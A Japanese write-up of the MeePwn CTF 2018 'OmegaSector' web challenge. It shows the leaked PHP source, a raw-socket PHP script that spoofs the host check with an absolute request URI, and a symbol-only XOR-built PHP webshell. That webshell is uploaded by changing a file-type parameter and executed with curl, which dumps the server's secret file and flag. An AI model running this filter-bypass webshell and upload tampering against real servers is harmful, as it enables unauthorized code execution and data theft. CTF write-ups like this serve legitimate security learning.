MEEPWN CTF 2018 - OmegaSector
問題文
Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me http://138.68.228.12/

writeup
Stage1
HTMLソースを確認する。
<html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html>
is_debug=1のヒントを発見。
http://138.68.228.12/?is_debug=1にアクセスする。

ソースコードが表示された。
<?php ob_start(); session_start(); ?> <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <?php ini_set("display_errors", 0); include('secret.php'); $remote=$_SERVER['REQUEST_URI']; if(strpos(urldecode($remote),'..')) { mapl_die(); } if(!parse_url($remote, PHP_URL_HOST)) { $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; } $whoareyou=parse_url($remote, PHP_URL_HOST); if($whoareyou==="alien.somewhere.meepwn.team") { if(!isset($_GET['alien'])) { $wrong = <<<EOF <h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> <h1 id="main" class="shadow">Are You ALIEN??</h1> <form id="main"> <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> <button type="submit" class="button-error" name="alien" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['alien']) and !empty($_GET['alien'])) { if($_GET['alien']==='@!#$@!@@') { $_SESSION['auth']=hash('sha256', 'alien'.$salt); exit(header( "Location: alien_sector.php" )); } else { mapl_die(); } } } elseif($whoareyou==="human.ludibrium.meepwn.team") { if(!isset($_GET['human'])) { echo ""; $wrong = <<<EOF <h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> <h1 id="main" class="shadow">Are You Human?</h1> <form id="main"> <button type="submit" class="button-success" name="human" value="Yes">Yes</button> <button type="submit" class="button-error" name="human" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['human']) and !empty($_GET['human'])) { if($_GET['human']==='Yes') { $_SESSION['auth']=hash('sha256', 'human'.$salt); exit(header( "Location: omega_sector.php" )); } else { mapl_die(); } } } else { echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") { show_source(__FILE__); } } ?> <body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html> <?php ob_end_flush(); ?>
ソースコードを読み解くと、$_SERVER['REQUEST_URI']を条件に、画面が変わるようだ。
alien.somewhere.meepwn.teamの場合は、エイリアン用の画面、
human.ludibrium.meepwn.teamの場合は、人間用の画面、
が表示される。
$_SERVER['REQUEST_URI']は、HTTPリクエストヘッダーの、GETやPOSTのURIである。しかし、Webブラウザやcurlコマンドでアクセスすると、GETやPOSTのURIは/から始まるパスになる。
そういえば、Honeypotのログを解析していると、http://から始まるURIでアクセスしてくる場合があることを思い出す。何か方法があるのではと思い、http://から始まる絶対パスでアクセスする方法を探すと、以下のページがヒット。色々、役に立つものだ。
php - How to force cURL to send a complete URL as request target? - Stack Overflow
参考にして、以下のスクリプトを作成する。
合わせて、セッションのauthをセットするためのalienパラメータを付与する。
<?php $host = '138.68.228.12'; $path = 'http://alien.somewhere.meepwn.team/?alien=%40!%23%24%40!%40%40'; #$path = 'http://human.ludibrium.meepwn.team/?human=Yes'; $fp = fsockopen($host, 80); fputs($fp, "GET $path HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: 0\r\n"); fputs($fp, "Connection: close\r\n\r\n"); $result = ''; while(!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); echo $result; ?>
実行する。
root@kali:OmegaSector# php curl_absolute.php
HTTP/1.1 302 Found
Date: Sun, 15 Jul 2018 17:09:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: alien_sector.php
Content-Length: 230
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
認証済みのPHPSESSIDである41ni0sv31e0h97iraa22tvpse3をゲット。
Stage2
WebブラウザにPHPSESSIDをセットして、alien_sector.phpにアクセス。

文字列を入力可能なテキストエリアが表示される。エイリアン用のフォントになっているようで、そのままだと読めないが、コピペするなりHTMLソースから読む。色々と入力を試すと、以下のことがわかる。
- a-zA-z0-9は入力不可。記号のみ。
- 入力可能な文字数は40文字まで。
- 入力に成功すると、入力文字列のテキストを使用して、
/alien_message/ハッシュ値.alienのファイルを作成。
また、Fiddlerでリクエストデータを解析すると、入力文字列であるmessageパラメータ以外に、typeパラメータにalienをセットしていることがわかる。
typeパラメータを改ざんすると、作成されるファイルの拡張子が変わった。
よって、typeパラメータをphpに変更することで、任意のphpコードが実行可能である。
なお、human.ludibrium.meepwn.teamでアクセスする人間用のページもあったが、こちらは逆にa-zA-Z0-9しか入力できず、PHPコードは作れないため、使用しなかった。
Stage3
記号のみでPHPコードを作ればよい。
PHPヘッダーは<?phpから始まるが、phpはアルファベットであり使用できないため、<?= =?>で代替することにした。以下を参照。
ここからだいぶ悩んだが、チームメンバーから以下のヒントをもらった。
[Bypass WAF] Php webshell without numbers and letters • Penetration Testing
記号と記号のXORでアルファベットを錬成するアイデア。
試行錯誤した結果、以下の方法でcat ../の文字列を錬成することに成功。
なお、サラッと書いているが、ここら辺は、ものすごい時間がかかっている。
php > echo(('<>+'^'___').' ../*');
cat ../*
作成するPHPファイルに埋め込むソースの全体は以下の通りとなる。
<?=$_=('<>+'^'___').' ../*'?><?=`$_`?>
PHPファイル生成のリクエストを発行する。なお、HTTPエンコード済み。
root@kali:OmegaSector# curl http://138.68.228.12/alien_sector.php -H "Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3" -d "type=php" -d "message=%3C%3F%3D%24_%3D('%3C%3E%2B'%5E'___').'%20..%2F*'%3F%3E%3C%3F%3D%60%24_%60%3F%3E"
]<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
<link rel="stylesheet" href="assets/omega_sector.css">
<link rel="stylesheet" href="assets/tsu_effect.css">
</head>
<h2 id="intro" class="alien_language">Saved in alien_message/0747cd11edbf2310cdca76c274f44201.php</h2><div class="alien_language">
<h2 id="intro" class="neon">Looks like the aliens aren't here, so please leave the message, they will come later.</h2>
</div>
<form action="alien_sector.php" method="POST">
<textarea class="shadow" id="main" name="message"></textarea>
<input type='text' name='type' value='alien' hidden />
<button type="submit" id="button"><div class="alien_language">Save</div></button>
</form>
<body background="assets/alien_sector.jpg" class="cenback"></body>
<audio controls autoplay hidden>
<source src="assets/omegasector.mp3" type="audio/mpeg">
</audio>
</html>
PHPファイルができたのでアクセスする。
root@kali:OmegaSector# curl http://138.68.228.12/alien_message/0747cd11edbf2310cdca76c274f44201.php
cat ../*<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
(snip)
<?php ob_end_flush(); ?><?php
$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.
function mapl_die()
{
$wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
die($wrong);
}
?>
saltが格納されているsecret.php内にフラグがあったようだ。
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
フラグゲット。